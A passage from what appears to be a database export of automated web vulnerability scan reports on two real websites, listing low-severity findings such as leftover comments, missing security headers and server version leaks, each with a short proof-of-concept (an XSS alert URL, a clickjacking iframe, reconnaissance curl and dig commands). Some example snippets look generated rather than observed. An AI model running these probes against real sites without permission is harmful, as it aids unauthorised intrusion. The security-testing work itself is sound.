exploit this issue:\n\n1. Access the target URL in a browser.\n2. View the page source (`Ctrl+U`).\n3. Search for keywords like “TODO”, “DEBUG”, “FIXME”, or developer notes indicating system internals.\n4. Analyze these clues to infer architectural decisions, technologies used, or debug behaviors enabled in production environments.\n5. Leverage inferred knowledge to refine subsequent attacks targeting specific components or misconfigurations hinted at by the comments.\n\nExample snippet from source:\n```html\n<!-- TODO: Remove after migration to new DB schema -->\n```\n\nSuch hints could guide an attacker toward outdated interfaces or deprecated features still active but unadvertised.\n\n**Business Impact**  \nAlthough low-risk individually, cumulative exposure through multiple instances increases risk profiles significantly. Attackers gain insights into internal processes, aiding lateral movement and privilege escalation attempts if combined with other weaknesses.\n\n**Remediation Steps**  \n1. Remove all comments from production HTML/JS files.\n2. Automate removal of debug artifacts during build/deploy pipelines.\n3. Train developers on secure coding practices.\n\n#### Modern Web Application / https://fn.mahacet.org/category-check/blog/why-is-my-preferred-college-not-listed-on-the-fcr-portal.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/category-check/blog/why-is-my-preferred-college-not-listed-on-the-fcr-portal.html |\n\n**Description**  \nSimilar to previous findings, this denotes usage of contemporary web technologies requiring advanced scanning techniques beyond basic HTTP crawling. Such sites typically depend heavily on client-side interactivity and state management handled outside conventional server-rendered templates.\n\n**Attack Scenario (Proof of Concept)**  \nUsing automated scanners equipped with JavaScript execution capabilities:\n\n1. Configure scanner settings to enable full DOM traversal.\n2. Initiate scan against `https://fn.mahacet.org/category-check/blog/why-is-my-preferred-college-not-listed-on-the-fcr-portal.html`.\n3. Observe dynamically generated links, form submissions, or XHR requests initiated post-load.\n4. Extract and analyze newly discovered URLs or parameters for injection points or access control flaws.\n\n**Business Impact**  \nInadequate testing approaches may miss critical functionalities only accessible through interactive elements, leading to undetected vulnerabilities in user-facing workflows involving sensitive operations.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmbroken-links-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmbroken-links-policy.html |\n\n**Description**  \nIndicates the site employs modern front-end frameworks necessitating specialized spidering methods. This classification implies reliance on asynchronous communication patterns between browser and server, complicating automated discovery without proper tooling.\n\n**Attack Scenario (Proof of Concept)**  \nSteps include:\n\n1. Load the URL in a headless browser environment.\n2. Wait for complete script execution and DOM updates.\n3. Capture all outbound requests triggered programmatically.\n4. Map resulting endpoints for deeper inspection regarding authentication bypasses or input validation gaps.\n\n**Business Impact**  \nFailure to account for SPA characteristics leads to incomplete security assessments, leaving blind spots vulnerable to exploitation due to insufficient visibility into actual application behavior under normal operating conditions.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmcontingency-management-plan.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontingency-management-plan.html |\n\n**Description**  \nPresence of developer annotations or temporary markers left in deployed code poses indirect risks by revealing underlying design choices or debugging artifacts useful for crafting targeted exploits.\n\n**Attack Scenario (Proof of Concept)**  \nProcedure involves:\n\n1. Inspect raw HTML/JS sources served from the endpoint.\n2. Identify inline remarks referencing internal APIs, staging servers, or configuration flags.\n3. Cross-reference identified terms with known vulnerabilities or default configurations associated with referenced libraries or platforms.\n4. Attempt direct access to mentioned resources or simulate expected inputs based on documented assumptions.\n\nSample comment:\n```html\n<!-- DEBUG MODE ON – DO NOT DEPLOY -->\n```\n\nCould indicate insecure defaults currently active in live deployments.\n\n**Business Impact**  \nEven seemingly harmless metadata can provide adversaries with strategic advantages during initial reconnaissance phases, reducing time-to-exploit cycles and increasing likelihood of successful breaches.\n\n**Remediation Steps**  \n1. Remove all comments from production HTML/JS files.\n2. Automate removal of debug artifacts during build/deploy pipelines.\n3. Train developers on secure coding practices.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmcontingency-management-plan.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontingency-management-plan.html |\n\n**Description**  \nDenotes utilization of modern UI paradigms reliant upon runtime scripting engines rather than static markup generation. Such implementations require enhanced scanning strategies incorporating browser-level interactions to accurately assess surface area.\n\n**Attack Scenario (Proof of Concept)**  \nExecution plan includes:\n\n1. Employ browser automation frameworks supporting event simulation.\n2. Traverse menus, click buttons, and trigger modals present on the page.\n3. Record dynamically fetched data streams and corresponding parameter sets.\n4. Evaluate collected endpoints for common web flaws including XSS, CSRF, IDOR, etc.\n\n**Business Impact**  \nNeglecting to adapt testing methodologies according to evolving architectural trends leaves organizations exposed to threats originating from overlooked interactive components integral to core business functions.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmcontent-archival-cap-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontent-archival-cap-policy.html |\n\n**Description**  \nDeveloper-inserted notes or placeholder texts embedded in publicly accessible documents may disclose unintended information about infrastructure setup, version control identifiers, or pending changes awaiting deployment.\n\n**Attack Scenario (Proof of Concept)**  \nMethodology entails:\n\n1. Examine served document contents line-by-line.\n2. Locate strings resembling commit hashes, branch names, or environment variables.\n3. Query public repositories or CI pipelines matching identifiers found.\n4. Retrieve historical diffs exposing previously fixed bugs or deprecated features reintroduced accidentally.\n\nExample:\n```html\n<!-- Branch feature/new-auth-flow merged here -->\n```\n\nMay hint at experimental authentication mechanisms recently integrated yet inadequately secured.\n\n**Business Impact**  \nUnsanitized documentation leaks contribute to broader intelligence gathering campaigns aimed at pinpointing weakly protected subsystems ripe for compromise.\n\n**Remediation Steps**  \n1. Remove all comments from production HTML/JS files.\n2. Automate removal of debug artifacts during build/deploy pipelines.\n3. Train developers on secure coding practices.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmcontent-archival-cap-policy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmcontent-archival-cap-policy.html |\n\n**Description**  \nIdentifies another instance where rich internet application principles govern presentation layer behavior, mandating sophisticated exploration tactics to ensure thorough vulnerability detection across entire digital footprint.\n\n**Attack Scenario (Proof of Concept)**  \nApproach consists of:\n\n1. Utilize headless browsing sessions simulating real-user journeys.\n2. Track navigation events tied to route transitions or modal displays.\n3. Log all observed network activity including GraphQL queries or RESTful services invoked implicitly.\n4. Validate each interaction point for susceptibility to tampering or unauthorized access.\n\n**Business Impact**  \nWithout adapting to SPA-centric architectures, security teams remain unaware of substantial portions of their online presence, creating fertile ground for stealthy intrusions exploiting neglected pathways.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmwebsite-monitoring-plan.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmwebsite-monitoring-plan.html |\n\n**Description**  \nComments retained in final builds suggest poor hygiene controls around build pipeline outputs, possibly exposing internal project structures or undocumented features meant for internal consumption only.\n\n**Attack Scenario (Proof of Concept)**  \nSteps involve:\n\n1. Review source code delivered over HTTP(S).\n2. Look for references to test accounts, staging domains, or sample datasets.\n3. Attempt access to referenced resources assuming they were unintentionally published alongside main content.\n4. Exploit any discrepancies between documented policies and actual implementation states.\n\nComment example:\n```html\n<!-- Test user login: admin@example.com / password123 -->\n```\n\nRepresents clear violation of secure coding standards if present in production contexts.\n\n**Business Impact**  \nAccidental disclosure of administrative credentials or backdoor mechanisms severely undermines organizational defenses, inviting immediate compromise regardless of perimeter protections in place.\n\n**Remediation Steps**  \n1. Remove all comments from production HTML/JS files.\n2. Automate removal of debug artifacts during build/deploy pipelines.\n3. Train developers on secure coding practices.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmwebsite-monitoring-plan.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmwebsite-monitoring-plan.html |\n\n**Description**  \nFurther confirmation of progressive web development practices employed throughout domain hierarchy, emphasizing necessity for adaptive scanning protocols tailored specifically to handle complex, multi-layered interfaces prevalent today.\n\n**Attack Scenario (Proof of Concept)**  \nProcess includes:\n\n1. Deploy crawler configured for deep DOM traversal and async request interception.\n2. Execute recursive scans starting from root node down to nested child elements.\n3. Catalog all unique identifiers, callback handlers, and remote procedure calls encountered along the way.\n4. Subject each element to rigorous fuzzing and boundary condition testing.\n\n**Business Impact**  \nOrganizations failing to evolve their defensive posture alongside technological advancements expose themselves to increasingly sophisticated threat actors leveraging cutting-edge toolsets designed precisely for navigating modern web ecosystems efficiently.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/RegistrationModule/frmCheckCETDetails.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/RegistrationModule/frmCheckCETDetails.html |\n\n**Description**  \nEmbedded commentary within registration module reveals potential insight into backend logic flow, database schemas, or error handling routines, offering valuable context for malicious actors seeking entry points.\n\n**Attack Scenario (Proof of Concept)**  \nTechnique involves:\n\n1. Parse HTML/JavaScript responses returned from endpoint.\n2. Isolate sections marked with explanatory text blocks.\n3. Derive hypotheses concerning implemented algorithms or conditional branches influencing program execution.\n4. Construct test cases mimicking edge-case scenarios likely to provoke unexpected outcomes.\n\nExample:\n```html\n<!-- Handle null CET scores gracefully -->\n```\n\nSuggests absence of robust null checks elsewhere in related processing chain.\n\n**Business Impact**  \nLeaked procedural knowledge enables adversaries to predict behavioral anomalies under stress conditions, facilitating targeted denial-of-service or privilege escalation exploits depending on affected component scope.\n\n**Remediation Steps**  \n1. Remove all comments from production HTML/JS files.\n2. Automate removal of debug artifacts during build/deploy pipelines.\n3. Train developers on secure coding practices.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/RegistrationModule/frmCheckCETDetails.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/RegistrationModule/frmCheckCETDetails.html |\n\n**Description**  \nContinuation of pattern highlighting prevalence of single-page application architecture across various subdomains, reinforcing requirement for comprehensive evaluation encompassing both visible and invisible aspects of user experience.\n\n**Attack Scenario (Proof of Concept)**  \nStrategy comprises:\n\n1. Engage browser-based scanners optimized for reactive interface parsing.\n2. Simulate diverse user actions ranging from simple clicks to keyboard shortcuts.\n3. Intercept and manipulate intercepted payloads prior to submission.\n4. Assess impact of altered values on downstream processing stages.\n\n**Business Impact**  \nFailing to recognize nuanced differences distinguishing legacy versus modern web apps results in superficial audits incapable of detecting subtle flaws inherent in highly dynamic environments governed by intricate state machines.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Scripts/epoch_classes_DOB.js\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Scripts/epoch_classes_DOB.js |\n\n**Description**  \nClient-side JavaScript file contains remnants of debugging statements or temporary patches applied during development cycle, posing indirect risks by disclosing proprietary logic flows or third-party integrations utilized internally.\n\n**Attack Scenario (Proof of Concept)**  \nExploitation path:\n\n1. Download and inspect JS bundle served from CDN or local directory.\n2. Scan for function definitions preceded by descriptive comments outlining purpose or limitations.\n3. Reverse-engineer implied functionality to locate potential injection vectors or race conditions.\n4. Craft adversarial inputs designed to trigger undefined behavior or bypass intended constraints.\n\nSnippet:\n```javascript\n// Temporarily disable date validation until backend sync resolves\nvalidateDOB = false;\n```\n\nHighlights inconsistent enforcement of business rules across layers.\n\n**Business Impact**  \nExposure of internal decision-making rationale empowers attackers to anticipate countermeasures and circumvent them systematically, undermining overall integrity of digital services offered to end users.\n\n**Remediation Steps**  \n1. Strip all comments from production-ready JavaScript files.\n2. Use minification tools that remove unnecessary whitespace and comments.\n3. Implement code review processes to catch such artifacts.\n\n#### Re-examine Cache-control Directives / https://fn.mahacet.org/subscribe.php\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n|","summary":{"total":551}},"summary":{"total":551}},{"_id":{"$oid":"6a2a4a557c405961c53cd998"},"created_at":{"$date":"2026-06-11T05:40:37.197Z"},"url":"https://anveshak.com/","tool":"generate_web_vulnerability_report","result":{"url":"https://anveshak.com/","category":"web_vulnerability","timestamp":"2026-06-11T05:40:37.193093+00:00","report":"### [Multiple IPs Found / anveshak.com / N/A]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nThe target domain resolves to multiple IP addresses, indicating potential load balancing or high availability infrastructure. While not inherently insecure, this configuration can provide insight into backend architecture and may assist attackers in mapping out distributed systems or targeting specific endpoints during reconnaissance.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker performs DNS enumeration using tools like `dig` or `nslookup`:  \n```bash\ndig A anveshak.com\n```\nThis reveals multiple A records associated with the domain. The attacker then conducts targeted scanning against each IP address to identify differences in services, software versions, or misconfigurations across nodes.\n\n**Business Impact**  \nWhile this finding does not directly lead to exploitation, it contributes to an attacker's understanding of system topology and increases the attack surface by exposing additional network entry points for further probing.\n\n---\n\n### [Content Security Policy (CSP) Header Not Set / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nLack of a Content Security Policy (CSP) header leaves the application exposed to various client-side injection flaws such as XSS. CSP mitigates these risks by restricting the origins from which executable scripts and other dynamic content can be loaded.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose a reflected XSS vulnerability exists at `/search?q=...`. An attacker crafts a URL:\n```\nhttps://anveshak.com/search?q=<script>alert(1)</script>\n```\nWithout CSP, the injected script executes in the victim’s browser context, enabling session hijacking or phishing redirection.\n\n**Business Impact**  \nExposure to persistent or reflected XSS attacks resulting in account compromise, data exfiltration, or brand impersonation.\n\n---\n\n### [Missing Anti-clickjacking Header / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nNeither the `Content-Security-Policy` with `frame-ancestors` nor the `X-Frame-Options` header is implemented, leaving the application susceptible to clickjacking attacks where an adversary overlays transparent elements over legitimate interface components to hijack user interactions.\n\n**Attack Scenario (Proof of Concept)**  \nA crafted HTML document embeds the vulnerable site inside an invisible iframe:\n```html\n<div style=\"position:relative; overflow:hidden;\">\n  <iframe src=\"https://anveshak.com/login\" width=\"500\" height=\"500\" style=\"opacity:0;\"></iframe>\n  <button style=\"position:absolute; top:200px; left:100px; width:200px; height:50px;\">Click Me!</button>\n</div>\n```\nUnsuspecting users clicking the visible button inadvertently trigger actions on the embedded login form.\n\n**Business Impact**  \nUser credentials or session tokens could be compromised through deceptive interaction manipulation, particularly affecting authentication flows or financial operations.\n\n---\n\n### [Sub Resource Integrity Attribute Missing / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nExternal JavaScript or CSS assets lack the `integrity` attribute, meaning they cannot be verified for tampering after delivery. If the CDN hosting those resources is compromised, attackers could inject malicious payloads undetected.\n\n**Attack Scenario (Proof of Concept)**  \nConsider a script tag referencing an external library:\n```html\n<script src=\"https://cdn.example.com/library.js\"></script>\n```\nIf the CDN is breached, the attacker serves modified JavaScript containing keyloggers or CSRF exploits. Browsers load and execute the altered resource without validation.\n\n**Business Impact**  \nSupply chain compromise risk leading to widespread client-side exploitation, undermining trust in third-party dependencies and potentially affecting all visitors.\n\n---\n\n### [Missing X-Content-Type-Options Header / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nThe absence of the `X-Content-Type-Options: nosniff` header allows browsers to perform MIME sniffing when interpreting content types. This behavior can be abused to bypass intended restrictions and execute malicious scripts if untrusted files are uploaded or served dynamically.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker uploads a file named `image.jpg`, which actually contains JavaScript code. Without proper content-type enforcement, some browsers may interpret and execute the payload as script rather than rendering it as an image:\n```http\nGET /uploads/image.jpg HTTP/1.1\nHost: anveshak.com\n\nResponse Headers:\nContent-Type: text/plain\n# No X-Content-Type-Options present\n```\n\n**Business Impact**  \nRisk of cross-site scripting (XSS) or other client-side vulnerabilities arising from improper interpretation of served resources, especially in environments allowing user-uploaded content.\n\n---\n\n### [X-Frame-Options Deprecated / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nThe application uses the deprecated `X-Frame-Options` header instead of the more modern `Content-Security-Policy` with the `frame-ancestors` directive. Although still functional in many browsers, reliance on this legacy mechanism reduces defense-in-depth capabilities and may leave older implementations vulnerable to clickjacking if improperly configured.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker creates a malicious iframe embedding the vulnerable page:\n```html\n<iframe src=\"https://anveshak.com/\" width=\"800\" height=\"600\"></iframe>\n```\nIf the framing policy is weakly enforced due to outdated headers, sensitive actions within the framed site might be manipulated without user awareness.\n\n**Business Impact**  \nPotential exposure to UI redressing attacks that trick users into performing unintended actions, leading to unauthorized transactions or credential theft depending on context.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nThe HTTP `Server` response header discloses detailed version information about the underlying web server software. Attackers often use this metadata to fingerprint targets and select known exploits tailored to specific versions.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker sends a simple GET request:\n```bash\ncurl -I https://anveshak.com/\n```\nResponse includes:\n```\nServer: nginx/1.20.1\n```\nArmed with this knowledge, the attacker searches public exploit databases for vulnerabilities tied to Nginx 1.20.1.\n\n**Business Impact**  \nFacilitates targeted attacks based on known vulnerabilities tied to disclosed server versions, increasing likelihood of successful compromise.\n\n---\n\n### [Strict-Transport-Security Header Not Set / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**  \nAbsence of the `Strict-Transport-Security` (HSTS) header means the site does not enforce encrypted communication, making it vulnerable to man-in-the-middle downgrade attacks where HTTPS sessions are coerced into plaintext HTTP.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker intercepts initial HTTP requests made by first-time visitors or those manually typing the domain name. They redirect traffic to a fake HTTPS endpoint under their control, capturing credentials or injecting malware.\n\n**Business Impact**  \nRisk of session hijacking, credential interception, and loss of confidentiality for sensitive communications unless explicitly accessed via HTTPS links.\n\n---\n\n### [X-Content-Type-Options Header Missing / anveshak.com / favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/favicon-anv.png |\n\n**Description**  \nThe static asset `favicon-anv.png` lacks the `X-Content-Type-Options: nosniff` header, potentially allowing MIME-type confusion in older browsers if the file were ever replaced with non-image content.\n\n**Attack Scenario (Proof of Concept)**  \nIf an attacker replaces the favicon with a disguised script file but retains the `.png` extension, certain browsers might attempt to parse it as JavaScript instead of rejecting it outright.\n\n**Business Impact**  \nMinimal direct impact unless combined with upload or overwrite vulnerabilities; however, it represents poor hardening practice inconsistent with secure deployment standards.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/robots.txt |\n\n**Description**  \nThe `robots.txt` file exposes server version details in the HTTP response headers, aiding attackers in fingerprinting the technology stack and identifying potential attack vectors.\n\n**Attack Scenario (Proof of Concept)**  \nUsing curl:\n```bash\ncurl -I https://anveshak.com/robots.txt\n```\nReveals:\n```\nServer: Apache/2.4.41 (Ubuntu)\n```\nEnables focused reconnaissance efforts aimed at exploiting known Apache vulnerabilities.\n\n**Business Impact**  \nProvides adversaries with actionable intelligence regarding platform-specific weaknesses, reducing time-to-exploit during reconnaissance phases.\n\n---\n\n### [Strict-Transport-Security Header Not Set / anveshak.com / favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/favicon-anv.png |\n\n**Description**  \nEven though static assets do not typically handle sensitive data, omitting HSTS headers uniformly across all responses weakens overall transport security posture and violates best practices for enforcing HTTPS everywhere.\n\n**Attack Scenario (Proof of Concept)**  \nIn mixed-content scenarios involving both HTML pages and static assets, attackers can manipulate loading order to initiate insecure connections before full encryption takes effect.\n\n**Business Impact**  \nMinor degradation in end-to-end encryption assurance and deviation from industry-standard TLS enforcement policies.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description**  \nSimilar to previous findings, the `manifest.json` file leaks server version information via the `Server` header, contributing to passive reconnaissance opportunities for threat actors.\n\n**Attack Scenario (Proof of Concept)**  \nAutomated scanners routinely probe well-known paths like `/manifest.json` to gather environmental clues. Exposed version strings streamline selection of relevant exploits.\n\n**Business Impact**  \nSupports broader profiling activities that inform subsequent stages of adversarial engagement, even if individually low-risk.\n\n---\n\n### [Strict-Transport-Security Header Not Set / anveshak.com / manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description**  \nConsistent omission of HSTS headers across all endpoints indicates incomplete implementation of mandatory HTTPS policies, weakening long-term resilience against protocol downgrade threats.\n\n**Attack Scenario (Proof of Concept)**  \nDuring progressive web app initialization, cached manifests retrieved over insecure channels expose installation workflows to interception or modification.\n\n**Business Impact**  \nPotential compromise of PWA functionality and reduced confidence in secure delivery mechanisms.\n\n---\n\n### [X-Content-Type-Options Header Missing / anveshak.com / manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description**  \nAlthough unlikely to pose immediate danger given typical usage patterns, failure to apply `X-Content-Type-Options` consistently reflects suboptimal security hygiene and introduces theoretical risks around content interpretation ambiguity.\n\n**Attack Scenario (Proof of Concept)**  \nShould the manifest become corrupted or replaced with malformed JSON masquerading as another format, MIME sniffing could cause unexpected parsing behaviors in legacy clients.\n\n**Business Impact**  \nNegligible practical consequence but indicative of inconsistent security controls requiring remediation for compliance purposes.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**  \nEven seemingly benign assets like stylesheets contribute to cumulative fingerprinting data when accompanied by verbose server banners, enabling comprehensive profiling of deployed technologies.\n\n**Attack Scenario (Proof of Concept)**  \nScraping tools aggregate version strings from diverse endpoints—including CSS files—to build accurate architectural maps useful for crafting multi-vector attacks.\n\n**Business Impact**  \nPassive disclosure of internal infrastructure details that support active reconnaissance campaigns conducted by adversaries.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://anveshak.com/manifest.json / https://anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description**\n\nThe `X-Content-Type-Options` header is a security feature used to prevent browsers from performing MIME-type sniffing on the content they receive. When this header is set to `nosniff`, it instructs compliant browsers not to override the declared content type of a resource. In its absence, older versions of Internet Explorer and Chrome may attempt to guess the content type based on the file's contents, which can lead to misinterpretation of files—potentially resulting in script execution when static assets like CSS or JSON are served.\n\nThis vulnerability arises due to improper configuration of HTTP response headers at the server level. The lack of enforcement allows attackers to leverage MIME-sniffing behavior for malicious purposes, particularly if user-uploaded content or dynamically generated responses are involved.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker could exploit this by uploading a file with an innocuous extension but containing executable JavaScript code. If the server serves such a file without setting the correct Content-Type or including the `X-Content-Type-Options: nosniff` header, a browser might interpret the file as HTML or JavaScript instead of plain text or JSON.\n\nExample payload uploaded as `example.json`:\n```json\n{\n  \"test\": \"<script>alert(1)</script>\"\n}\n```\n\nIf accessed directly via a crafted link, and the browser performs MIME-sniffing, it may render and execute the embedded script depending on context.\n\nRequest snippet:\n```http\nGET /uploads/example.json HTTP/1.1\nHost: anveshak.com\n```\n\nResponse lacks both proper Content-Type and `X-Content-Type-Options`.\n\n**Business Impact**\n\nWhile low severity, repeated exploitation could allow cross-site scripting (XSS) under specific conditions, leading to session hijacking, defacement, or phishing attacks. It also contributes to weakening overall defense-in-depth posture and increases risk surface area during targeted campaigns against legacy clients or environments where MIME-sniffing remains active.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://anveshak.com/static/css/main.1d35c99a.css / https://anveshak.com/static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | 